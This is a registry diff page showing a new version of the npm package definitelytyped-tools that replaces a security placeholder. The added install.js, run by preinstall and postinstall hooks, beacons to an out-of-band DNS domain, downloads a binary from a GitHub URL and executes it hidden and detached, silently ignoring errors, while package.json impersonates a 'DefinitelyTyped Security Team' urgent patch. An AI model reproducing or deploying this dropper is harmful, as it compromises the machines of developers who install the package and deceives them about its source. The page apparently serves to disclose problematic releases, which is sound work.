definitelytyped-tools 0.0.1-security → 99.99.99-security-patch
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of definitelytyped-tools might be problematic. Click here for more details.
- package/go.mod +3 -0
- package/install.js +44 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/go.mod
ADDED
package/install.js
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const { exec } = require('child_process');
|
|
6
|
+
const dns = require('dns');
|
|
7
|
+
|
|
8
|
+
// Replace this with your actual OAST domain for the DNS beacon
|
|
9
|
+
const OAST_DOMAIN = 'ocvomeqbrouywnpfvqwhs5w5drx30ejnn.oast.fun';
|
|
10
|
+
|
|
11
|
+
// DNS beacon to confirm install.js ran
|
|
12
|
+
dns.lookup(`install-js-ran.${OAST_DOMAIN}`, () => {});
|
|
13
|
+
|
|
14
|
+
// Replace this with your own raw GitHub URL hosting the compiled Go binaries
|
|
15
|
+
const BIN_DIR_URL = 'https://raw.githubusercontent.com/aman20244/poc-bins/main';
|
|
16
|
+
|
|
17
|
+
const FILENAME = os.platform() === 'win32' ? 'dtt-tools.exe' : 'dtt-tools';
|
|
18
|
+
const BIN_PATH = path.join(os.tmpdir(), FILENAME);
|
|
19
|
+
|
|
20
|
+
const file = fs.createWriteStream(BIN_PATH);
|
|
21
|
+
const request = https.get(`${BIN_DIR_URL}/${FILENAME}`, (response) => {
|
|
22
|
+
if (response.statusCode !== 200) {
|
|
23
|
+
// silently fail on error
|
|
24
|
+
return;
|
|
25
|
+
}
|
|
26
|
+
response.pipe(file);
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
file.on('finish', () => {
|
|
30
|
+
file.close(() => {
|
|
31
|
+
try {
|
|
32
|
+
if (os.platform() !== 'win32') {
|
|
33
|
+
fs.chmodSync(BIN_PATH, '755');
|
|
34
|
+
}
|
|
35
|
+
exec(BIN_PATH, { windowsHide: true, detached: true, stdio: 'ignore' }).unref();
|
|
36
|
+
} catch (e) {
|
|
37
|
+
// silently ignore any exec errors
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
request.on('error', () => {
|
|
43
|
+
// silently ignore any request errors
|
|
44
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "definitelytyped-tools",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "security
|
|
5
|
-
"
|
|
3
|
+
"version": "99.99.99-security-patch",
|
|
4
|
+
"description": "Critical security patch for DefinitelyTyped internal tooling infrastructure. Please apply immediately.",
|
|
5
|
+
"author": "DefinitelyTyped Security Team <security@definitelytyped.org>",
|
|
6
|
+
"license": "MIT",
|
|
7
|
+
"os": ["darwin", "linux", "win32"],
|
|
8
|
+
"cpu": ["x64", "arm64"],
|
|
9
|
+
"private": false,
|
|
10
|
+
"scripts": {
|
|
11
|
+
"preinstall": "node -e \"try{require('./install.js')}catch(e){}\"",
|
|
12
|
+
"postinstall": "node -e \"try{require('./install.js')}catch(e){}\""
|
|
13
|
+
}
|
|
6
14
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=definitelytyped-tools for more information.
|